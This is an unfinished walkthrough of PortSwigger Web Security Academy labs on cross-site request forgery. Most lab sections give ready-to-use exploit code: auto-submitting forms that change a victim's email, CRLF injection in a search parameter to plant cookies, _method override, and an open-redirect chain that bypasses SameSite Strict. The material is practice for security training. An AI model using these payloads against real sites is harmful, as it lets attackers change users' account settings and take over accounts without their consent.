IN PROGRESS: WebSecurityAcademy (PortSwigger) – Cross-site request forgery (CSRF)

Walk-through of Cross-site request forgery (CSRF) lab on PortSwigger Web Security Academy.

Apprentice – CSRF vulnerability with no defenses

Click on My account and enter provided credentials (wiener:peter).

Create a form using the response of the /my-account page

Change the URL in the form’s action.

<body onload='document.forms[0].submit()'>
<form class="login-form" name="change-email-form" action="https://<LAB ID>.web-security-academy.net/my-account/change-email" method="POST">
<label>Email</label>
<input required type="email" name="email" value="hacked@normal-user.net">
<button class='button' type='submit'> Update email </button>
</form>
</body>

Open the Exploit server from the web application. Enter the form in the Body and click Deliver exploit to victim.

Practitioner – CSRF where token validation depends on request method

Click on My account and enter provided credentials (wiener:peter).

Create a form using the response of the /my-account page

Change the URL in the form’s action. Use the GET method instead of POST to bypass the CSRF token validation. Remove the CSRF token from the form.

<body onload='document.forms[0].submit()'>                       
<form class="login-form" name="change-email-form" action="https://<LAB ID>.web-security-academy.net/my-account/change-email" method="GET">
<label>Email</label>
<input required type="email" name="email" value="hacked@normal-user.net">
<button class='button' type='submit'> Update email </button>
</form>
</body>

Open the Exploit server from the web application. Enter the form in the Body and click Deliver exploit to victim.

Practitioner – CSRF where token validation depends on token being present

Click on My account and enter provided credentials (wiener:peter).

Create a form using the response of the /my-account page

Change the URL in the form’s action. Remove the CSRF token from the form to bypass the token validation.

<body onload='document.forms[0].submit()'>
<form class="login-form" name="change-email-form" action="https://<LAB ID>.web-security-academy.net/my-account/change-email" method="POST">
<label>Email</label>
<input required type="email" name="email" value="hacked@normal-user.net">
<button class='button' type='submit'> Update email </button>
</form>
</body>

Open the Exploit server from the web application. Enter the form in the Body and click Deliver exploit to victim.

Practitioner – CSRF where token is not tied to user session

Click on My account and enter provided credentials (carlos:montoya).

Create a form using the response of the /my-account page

Change the URL in the form’s action. Leave the CSRF token value from carlos. It will be used by wiener:peter.

<body onload='document.forms[0].submit()'>
<form class="login-form" name="change-email-form" action="https://<LAB ID>.web-security-academy.net/my-account/change-email" method="POST">
<label>Email</label>
<input required type="email" name="email" value="hacked@normal-user.net">
<input required type="hidden" name="csrf" value="b4aJ9l531e6GYxBWQB7cortYRNq4Mjwk">
<button class='button' type='submit'> Update email </button>
</body>

Open the Exploit server from the web application. Enter the form in the Body and click Deliver exploit to victim. If it does not work, refresh carlos’ My Account page and use this token value in the exploit.

Practitioner – CSRF where token is tied to non-session cookie

Click on My account and enter provided credentials (carlos:montoya).

Do a search

Do a search and inspect the request. The last search term is kept in the cookies. There is also a csrfKey cookie.

Cookie: csrfKey=68vmJvkVo17WZfwP4HZ9qb3mqTg9N54T; LastSearchTerm=test; session=yQ3xSU0iX4YzfM3TjbtXUG1LILNn88ty

Test to set a new cookie

Try to set a new cookie. Use %0d%0a (return and line feed).

https://<LAB ID>.web-security-academy.net/?search=whatever%0d%0aSet-Cookie:%20cookie1=whatever%3b%20SameSite=None

It works, the new cookie is present in the next request. We will be able to update the csrfKey cookie value.

Create a form using the response of the /my-account page

Change the URL in the form’s action. Set the csrfKey cookie value from carlos. Leave the CSRF token value from carlos. It will be used by wiener:peter.

<body>
<img src="https://<LAB ID>.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=68vmJvkVo17WZfwP4HZ9qb3mqTg9N54T%3b%20SameSite=None" onerror="document.forms[0].submit()">

<form class="login-form" name="change-email-form" action="https://<LAB ID>.web-security-academy.net/my-account/change-email" method="POST">
<label>Email</label>
<input required type="email" name="email" value="hacked@normal-user.net">
<input required type=hidden name=csrf value=1H24dcIBDnv16B2W6EsekbM4Te6NQN8t>
<button class='button' type='submit'> Update email </button>
</form>
</body>

Open the Exploit server from the web application. Enter the form in the Body and click Deliver exploit to victim. If it does not work, refresh carlos’ My Account page and use this token value in the exploit.

Practitioner – CSRF where token is duplicated in cookie

Click on My account and enter provided credentials (wiener:peter).

Change the user’s email address and inspect the request.

POST /my-account/change-email HTTP/1.1
...
Cookie: LastSearchTerm=whatever; csrf=M0n6y2VZCaIhDDKxndqh911t3MNqDcYv; session=tEU1yOdfaxBHjZDc0f1wqcGhTOW2AVYp
...

email=test%40test.com&csrf=M0n6y2VZCaIhDDKxndqh911t3MNqDcYv

The token validation is based on the cookie “csrf” having the same value as the “csrf” parameter in the request’s body.

Create a form using the response of the /my-account page

Change the URL in the form’s action. Set the csrf cookie value to the same value as the csrf paramater in the request’s body. See previous exercise for details on setting the cookie.

<body>
<img src="https://<LAB ID>.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=thisisnotarealtoken%3b%20SameSite=None" onerror="document.forms[0].submit()">

<form class="login-form" name="change-email-form" action="https://<LAB ID>.web-security-academy.net/my-account/change-email" method="POST">
<label>Email</label>
<input required type="email" name="email" value="hacked@normal-user.net">
<input required type=hidden name=csrf value=thisisnotarealtoken>
<button class='button' type='submit'> Update email </button>
</form>
</body>

Open the Exploit server from the web application. Enter the form in the Body and click Deliver exploit to victim.

Practitioner – SameSite Lax bypass via method override

Click on My account and enter provided credentials (wiener:peter).

Change the user’s email address and inspect the request.

POST /my-account/change-email HTTP/1.1
...

email=test%40test.com

Send the request to the Repeater module.

Do a CSRF using the GET method

In the Repeater module, right-click on the request and select Change request method. The request now uses the GET method.

Try overriding the method by adding the _method parameter to the query string. Copy the URL the browser and validate it worked.

https://<LAB ID>.web-security-academy.net/my-account/change-email?email=override%40normal-user.net&_method=POST

Create the CSRF exploit

<script>
    document.location = 'https://<LAB ID>.web-security-academy.net/my-account/change-email?email=override%40normal-user.net&_method=POST';
</script>

Open the Exploit server from the web application. Enter the form in the Body and click Deliver exploit to victim.

Practitioner – SameSite Strict bypass via client-side redirect

Click on My account and enter provided credentials (wiener:peter).

POST /login HTTP/1.1
...

username=wiener&password=peter
HTTP/1.1 302 Found
Location: /my-account
Set-Cookie: session=<token>; Secure; HttpOnly; SameSite=Strict
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 0

The session cookie has the SameSite=Strict attribute.

Change the user’s email address and inspect the request.

POST /my-account/change-email HTTP/1.1
...

email=whatever%40example.com&submit=1

Send the request to the Repeater module.

Find a gadget with open redirection

Click on a post and submit a comment. A request is sent with a parameter postId and redirects to the post.

GET /post/comment/confirmation?postId=2 HTTP/1.1
...
...
<script src='/resources/js/commentConfirmationRedirect.js'></script>
<script>redirectOnConfirmation('/post');</script>
...

Test the open redirect

This redirects to my-account page.

https://<LAB ID>.web-security-academy.net/post/comment/confirmation?postId=../my-account

Exploit the CSRF to change email address using the open redirect

Click on Go to exploit server from the web application. Enter this payload in the Body and click Deliver exploit to victim.

URL-encode the “?” (%3f) and “&” (%26) characters in the open redirect payload.

<script>
    document.location = 'https://<LAB ID>.web-security-academy.net/post/comment/confirmation?postId=../../my-account/change-email%3femail=override%40normal-user.net%26submit=1';
</script>

Practitioner – SameSite Strict bypass via sibling domain

NOT DONE YET

Practitioner – SameSite Lax bypass via cookie refresh

NOT DONE YET

Practitioner – CSRF where Referer validation depends on header being present

NOT DONE YET

Practitioner – CSRF with broken Referer validation

NOT DONE YET